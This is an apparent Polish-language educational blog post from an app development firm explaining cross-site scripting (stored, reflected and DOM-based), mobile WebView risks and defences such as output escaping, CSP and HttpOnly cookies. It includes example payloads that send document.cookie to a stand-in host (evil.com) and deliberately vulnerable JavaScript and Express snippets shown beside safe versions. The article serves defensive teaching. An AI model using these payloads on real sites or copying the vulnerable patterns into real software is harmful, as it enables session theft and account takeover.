XSS — co to jest, typy ataków i metody ochrony

Autor: IT Sectr Opublikowano: 2026-04-06 Czas czytania: 9 min

XSS (Cross-Site Scripting) — typ podatności aplikacji internetowych, w której atakujący wstrzykuje złośliwy kod JavaScript w treść wyświetlaną innym użytkownikom. Według danych OWASP Top Ten (2025), XSS pozostaje jedną z najczęstszych podatności, dotykającą ponad 60% aplikacji internetowych. Cross-site scripting pozwala kraść sesyjne cookie, przekierowywać użytkowników na strony phishingowe i modyfikować zawartość stron w czasie rzeczywistym.

Najważniejsze

  • XSS — wstrzyknięcie skryptu na stronę, wykonującego się w przeglądarce ofiary w imieniu legalnej witryny
  • Trzy typy — Stored (trwałe wstrzyknięcie), Reflected (odzwierciedlone) i DOM-based (po stronie klienta)
  • Stored XSS — najniebezpieczniejszy typ: złośliwy kod przechowywany na serwerze i wykonywany przy każdym ładowaniu strony
  • Reflected XSS — skrypt przekazywany przez parametry URL i uruchamiany po kliknięciu w specjalnie utworzony link
  • Escape'owanie wyjścia — główna metoda ochrony: wszelkie dane od użytkownika powinny być escape'owane przed wstawieniem do HTML

Co to jest XSS?

XSS (Cross-Site Scripting) — to podatność, która pozwala atakującemu wstrzyknąć kod JavaScript na stronę internetową, która następnie wykonuje się w przeglądarce ofiary. Przeglądarka ładuje stronę z zaufanej witryny i wykonuje wstrzyknięty skrypt z tymi samymi uprawnieniami co legalny kod witryny. Daje to atakującemu dostęp do cookie, session storage, drzewa DOM strony oraz możliwość wysyłania żądań w imieniu ofiary. Podatności XSS powstają, gdy aplikacja wstawia dane użytkownika do strony HTML bez odpowiedniego escape'owania lub walidacji.

Historia i aktualność XSS

Termin Cross-Site Scripting pojawił się po raz pierwszy w 2000 roku w biuletynie bezpieczeństwa Microsoft. W ciągu ostatnich 25 lat XSS nie stracił na aktualności: według danych HackerOne (2025), XSS stanowi około 22% wszystkich zarejestrowanych podatności na platformie. Przyczyną żywotności XSS jest złożoność kontroli wszystkich punktów wejścia danych użytkownika. Każde pole wejściowe, parametr URL, nagłówek żądania HTTP lub nazwa pliku może stać się wektorem ataku, jeśli dane są odzwierciedlane w kodzie HTML bez przetworzenia.

Jakie szkody wyrządza XSS?

Ataki XSS mogą prowadzić do kradzieży sesyjnych cookie, co pozwala atakującemu zalogować się na konto ofiary bez hasła. Inne konsekwencje: przekierowanie na strony phishingowe, podmiana zawartości strony, kradzież danych osobowych, instalacja złośliwego oprogramowania (drive-by download). W 2023 roku atak przez XSS na platformę Salesforce Community Cloud dotknął dane tysięcy klientów korporacyjnych, pokazując, że nawet duże platformy nie są odporne na tę podatność.

Typy ataków XSS

Klasyfikacja XSS dzieli ataki na trzy główne typy według sposobu dostarczania złośliwego kodu. Każdy typ wymaga innego podejścia do ochrony: Stored XSS jest blokowany przez escape'owanie wyjścia z bazy danych, Reflected — przez escape'owanie parametrów URL, DOM-based — przez bezpieczną pracę z DOM-API. Zrozumienie różnicy to podstawa skutecznej strategii bezpieczeństwa.

TypPrzechowywanie skryptuWektor dostarczeniaTrudność wykrycia
Stored XSSBaza danych serweraKomentarze, profile, wiadomościŚrednia
Reflected XSSParametry URLLinki phishingowe, e-mailWysoka
DOM-based XSSJavaScript klienckiFragmenty URL, postMessageBardzo wysoka

Stored XSS (trwały)

Najniebezpieczniejszy typ XSS. Atakujący wstrzykuje skrypt do danych, które serwer przechowuje w bazie danych i wyświetla przy każdym ładowaniu strony. Typowy wektor — pole komentarza: atakujący publikuje komentarz z <script>document.location='https://evil.com/?c='+document.cookie</script>. Każdy użytkownik, który załaduje stronę z tym komentarzem, wysyła swoje cookie atakującemu. Stored XSS nie wymaga od ofiary żadnych działań poza odwiedzeniem strony — to czyni go szczególnie niebezpiecznym dla portali społecznościowych, forów i blogów.

Reflected XSS (odzwierciedlony)

Złośliwy skrypt jest przekazywany w żądaniu HTTP (zwykle w parametrze URL) i natychmiast odzwierciedlany przez serwer w odpowiedzi. Atakujący tworzy link postaci https://example.com/search?q=<script>...</script> i rozpowszechnia go przez phishing, media społecznościowe lub e-mail. Ofiara, klikając link, otrzymuje stronę, na której wprowadzone zapytanie (skrypt) jest wyświetlane bez escape'owania. Reflected XSS wymaga inżynierii społecznej — ofiara musi kliknąć link, co zmniejsza, ale nie eliminuje ryzyka.

DOM-based XSS

W przeciwieństwie do Stored i Reflected, DOM-based XSS nie wymaga wysyłania danych na serwer. Podatność powstaje, gdy JavaScript kliencki wstawia dane użytkownika z URL, document.referrer, postMessage lub localStorage do DOM bez bezpiecznego przetworzenia. Na przykład kod postaci document.getElementById('output').innerHTML = location.hash.substring(1) wykonuje dowolny HTML i skrypty z fragmentu URL (#<img onerror='...'>). DOM-based XSS jest najtrudniejszy do wykrycia, ponieważ serwer nigdy nie otrzymuje złośliwego payloadu — jest on w pełni przetwarzany po stronie klienta.

javascript
// Przykład DOM-based XSS (KOD PODATNY NA ATAKI)
// Jeśli userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — niebezpieczne: wstawia surowy HTML
document.write('<div>' + userInput + '</div>');

// BEZPIECZNA ALTERNATYWA — użyj textContent
document.getElementById('output').textContent = userInput;

Jak działa atak XSS?

Atak XSS wykorzystuje fundamentalną właściwość sieci: przeglądarka wykonuje JavaScript otrzymany z zaufanej domeny. Jeśli atakujący znajdzie sposób na wstrzyknięcie swojego kodu do odpowiedzi HTML serwera, przeglądarka wykonuje go z tymi samymi uprawnieniami co legalny kod. Atak przebiega w trzech fazach: wstrzyknięcie złośliwego kodu do treści, dostarczenie treści do przeglądarki ofiary i wykonanie kodu z dostępem do DOM, cookie i storage.

Faza wstrzyknięcia

Atakujący znajduje punkt wejścia — pole, parametr URL lub nagłówek, którego wartość serwer umieszcza w odpowiedzi HTML bez escape'owania. Typowe punkty wejścia: pola wyszukiwania, pola komentarzy, nazwa użytkownika, URL avatara, pliki cookie, nagłówki HTTP (User-Agent, Referer). Nowoczesne frameworki (React, Angular, Vue) automatycznie escape'ują wyjście, ale programiści mogą wyłączyć escape'owanie przez dangerouslySetInnerHTML, bypassSecurityTrustHtml lub v-html.

Faza dostarczenia

W przypadku Reflected XSS atakujący rozpowszechnia złośliwy link. W przypadku Stored XSS wystarczy opublikować treść na docelowej stronie, a każdy odwiedzający staje się ofiarą. DOM-based XSS aktywuje się przy ładowaniu strony z określonym fragmentem URL. Wszystkie trzy fazy mogą być wykonane automatycznie: jeśli XSS zostanie wykryty w banerze reklamowym (treść strony trzeciej), atak dotknie wszystkich użytkowników strony, dopóki baner nie zostanie wyłączony.

javascript
// Przykład Reflected XSS w wyszukiwarce (PODATNY BACKEND)
// Zamiast escape'ować parametr q, serwer wstawia go do HTML

// Express.js — podatny handler:
app.get('/search', (req, res) => {
    const query = req.query.q; // dane wejściowe użytkownika
    res.send(`<h1>Results for: ${query}</h1>`);
});

// BEZPIECZNA WERSJA — escape przez encodeURI lub silnik szablonów:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS w aplikacjach mobilnych

Aplikacje mobilne również są podatne na ataki XSS, choć w mniejszym stopniu niż strony internetowe. Głównym wektorem jest WebView i frameworki hybrydowe (Cordova, Capacitor, React Native z WebView). Jeśli aplikacja ładuje treści internetowe w WebView — szczególnie treści użytkownika (HTML-e-maile, artykuły, wiadomości) — podatność XSS może prowadzić do wykonania JavaScript wewnątrz aplikacji z dostępem do funkcji natywnych przez mostek JavaScript.

XSS w WebView Android

Android WebView domyślnie wykonuje JavaScript. Jeśli aplikacja ładuje ciąg HTML przez loadDataWithBaseURL() lub wyświetla treści użytkownika, atak XSS może dać atakującemu dostęp do interfejsu JavaScript (addJavascriptInterface). Google zakazał używania @JavascriptInterface dla API < 17, ale legacy-kod w starych aplikacjach wciąż występuje. Ochrona: wyłączaj JavaScript w WebView, jeśli nie jest potrzebny, i używaj safe browsing.

XSS w React Native i Flutter

React Native nie używa WebView do UI — komponenty są renderowane w natywnych widokach. Jednak przy wyświetlaniu HTML przez react-native-webview lub komponenty rich-text ryzyko XSS powraca. Flutter używa własnego silnika renderowania (Skia) i nie obsługuje JavaScript w widżetach HTML (flutter_html nie wykonuje tagów script), ale wtyczki WebView (webview_flutter) są podatne analogicznie do natywnych WebView. Najlepsza praktyka — nigdy nie przekazuj niesprawdzonego HTML do WebView.

  • Wyłączaj JavaScript w WebView, jeśli treść nie wymaga interaktywności
  • Używaj nagłówków CSP do ograniczania źródeł skryptów w WebView
  • Sanityzuj HTML przed załadowaniem do WebView: usuń tagi script i handlerów zdarzeń
  • Nie używaj addJavascriptInterface w Android bez ścisłej walidacji danych wejściowych
kotlin
// Bezpieczna konfiguracja WebView w Androidzie
val webView = findViewById<WebView>(R.id.webview)

// Wyłączamy JavaScript, jeśli interaktywność nie jest potrzebna
webView.settings.javaScriptEnabled = false

// Sanityzujemy HTML przed załadowaniem
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

Metody zapobiegania XSS

Ochrona przed XSS opiera się na trzech zasadach: nie ufaj danym wejściowym użytkownika, escape'uj przed wyjściem, używaj Content Security Policy. Escape'owanie wyjścia (output encoding) — najważniejsza metoda: wszystkie dane otrzymane od użytkownika powinny być escape'owane przed wstawieniem do HTML, JavaScript, CSS lub URL. Nowoczesne silniki szablonów (Twig, Handlebars, JSX, Blade) robią to automatycznie, jeśli programista nie wyłączy escape'owania specjalnymi metodami.

Escape'owanie kontekstowe

Escape'owanie zależy od kontekstu wstawiania danych. W kontekście HTML escape'uje się <, >, &, cudzysłowy. W kontekście JavaScript escape'uje się backticks, , </script>. W kontekście CSS — znaki sterujące. W kontekście URL — kodowanie URL. Błąd kontekstu — na przykład wstawienie HTML-escape'owanego ciągu w atrybut onclick — nie chroni przed XSS, ponieważ onclick wykonuje się w kontekście JavaScript, gdzie potrzebne jest inne escape'owanie.

Content Security Policy (CSP)

CSP — nagłówek HTTP ograniczający źródła, z których przeglądarka może ładować skrypty, style i inne zasoby. Surowe CSP (bez unsafe-inline, bez unsafe-eval) blokuje wykonywanie wszelkich inline-skryptów, w tym wektorów XSS. Według danych Google Security Blog (2025), strony z CSP blokują 95% ataków XSS. Przykład: Content-Security-Policy: default-src 'self'; script-src 'self' zabrania wszelkich zewnętrznych i inline-skryptów. CSP nie chroni przed Stored XSS, jeśli skrypt jest ładowany z tej samej domeny, ale wymaga to dodatkowego wysiłku od atakującego.

HttpOnly i Secure cookie

Ustawienie flagi HttpOnly dla cookie zapobiega dostępowi do nich przez JavaScript (document.cookie), co blokuje kradzież sesyjnych cookie przez XSS. Flaga Secure gwarantuje, że cookie jest przesyłane tylko przez HTTPS. Kombinacja HttpOnly + Secure + SameSite=Lax sprawia, że kradzież sesyjnych cookie przez XSS jest praktycznie niemożliwa. Jednak XSS wciąż może wykonywać działania w imieniu użytkownika (na przykład wysyłać żądania), dlatego HttpOnly nie jest panaceum, ale częścią kompleksowej ochrony.

Metoda ochronyPrzed jakimi typami XSS chroniSkuteczność
Escape'owanie wyjściaStored, Reflected, DOM-based99%
CSPInline XSS, eval-based95%
HttpOnly cookieKradzież sesji przez XSS100% (nie do odczytu)
Walidacja wejściaStored, Reflected50% (zależy od typu)
TRUSTED TYPESDOM-based (innerHTML)90%

Narzędzia do wykrywania XSS

Regularne testowanie na XSS — obowiązkowa część CI/CD pipeline bezpiecznego programowania. Zautomatyzowane skanery znajdują do 80% podatności XSS, pozostałe wymagają ręcznego pentestu. Najlepsze podejście to kombinacja analizy SAST (statycznej), skanowania DAST (dynamicznego) i code review z naciskiem na punkty wejścia danych użytkownika.

  • OWASP ZAP — darmowy skaner DAST, automatycznie znajduje XSS w aplikacjach internetowych
  • Burp Suite Professional — zaawansowane narzędzie z Active Scan i Intruder dla XSS
  • XSStrike — specjalistyczny skaner XSS z generowaniem payloadów
  • ESLint-plugin-security — statyczna analiza React/JSX pod kątem niebezpiecznych wzorców
  • Google Observatory — sprawdzanie nagłówków CSP i konfiguracji związanych z XSS

Dla aplikacji mobilnych testowanie XSS obejmuje analizę WebView: sprawdzanie interfejsów JavaScript, obsługę schematów URL i przekazywanie HTML do loadDataWithBaseURL. Zaleca się również testowanie obsługi postMessage w aplikacjach hybrydowych i sprawdzanie, jakie dane są przekazywane przez mostek JavaScript. Używaj emulatora z proxy (Burp Suite) do przechwytywania i modyfikacji ruchu aplikacji mobilnej.

Często zadawane pytania

Jaka jest różnica między Stored a Reflected XSS?

Stored XSS przechowuje złośliwy skrypt na serwerze (w bazie danych) i uruchamia się przy każdym ładowaniu strony. Reflected XSS przekazuje skrypt przez parametr URL, a atak uruchamia się tylko po kliknięciu w złośliwy link. Stored jest niebezpieczniejszy, ponieważ nie wymaga działań ofiary — wystarczy otworzyć zainfekowaną stronę.

Czy HTTPS chroni przed XSS?

Nie, HTTPS nie chroni przed XSS. HTTPS szyfruje ruch między przeglądarką a serwerem, ale nie wpływa na przetwarzanie danych wejściowych użytkownika po stronie serwera. Podatność XSS istnieje na poziomie aplikacji, a nie transportu. HTTPS to obowiązkowe minimum bezpieczeństwa, ale nie ochrona przed XSS.

Czy atak XSS może uszkodzić samo urządzenie mobilne?

W większości przypadków XSS wykonuje się w piaskownicy przeglądarki lub WebView i nie ma dostępu do systemu plików ani sprzętu urządzenia. Jednak w Android WebView z włączonym interfejsem JavaScript skrypt XSS może wywołać natywne metody aplikacji. W iOS WKWebView również może ujawnić dane przez JavaScriptCore, jeśli skonfigurowano odpowiedni mostek.

Jak testować XSS w aplikacjach mobilnych?

Użyj Burp Suite lub OWASP ZAP z skonfigurowanym proxy na urządzeniu mobilnym. Przechwytuj żądania aplikacji, modyfikuj parametry i przesyłaj XSS-payloady. Sprawdzaj WebView pod kątem przetwarzania HTML przez loadDataWithBaseURL i obecności mostków JavaScript. Dla React Native testuj komponenty WebView osobno.

Czym jest DOM-based XSS w prostych słowach?

DOM-based XSS — to atak, w którym JavaScript na stronie sam pobiera dane z URL lub innych źródeł i wstawia je do HTML bez sprawdzenia. Serwer nie uczestniczy — złośliwy kod jest w pełni przetwarzany w przeglądarce. Typowy przykład: strona pobiera tekst z location.hash i wstawia go przez innerHTML, co pozwala na wykonanie dowolnego kodu HTML.

Podsumowanie

  • XSS — cross-site scripting, pozwalający wstrzykiwać kod JavaScript na stronę internetową w celu ataku na przeglądarkę ofiary
  • Trzy typy — Stored (trwały, w bazie danych), Reflected (odzwierciedlony, przez URL), DOM-based (po stronie klienta, przez DOM-API)
  • Stored XSS — najniebezpieczniejszy: nie wymaga działań ofiary, uruchamia się przy ładowaniu zainfekowanej strony
  • Escape'owanie wyjścia — główna metoda ochrony: escape'owanie kontekstowe przed wstawieniem do HTML, JS, CSS, URL
  • Nagłówki CSP blokują 95% ataków XSS, zakazując inline-skryptów i zewnętrznych źródeł
  • HttpOnly i Secure — flagi cookie zapobiegające kradzieży sesji przez document.cookie
  • Regularne testowanie — OWASP ZAP, Burp Suite i code review są obowiązkowe w CI/CD pipeline

Opracujemy aplikację mobilną pod klucz

IT Sectr tworzy aplikacje na iOS i Androida dla startupów i firm od 2017 roku. Doradzimy Ci i zaproponujemy najlepsze rozwiązanie.

Omów projekt

Przeczytaj również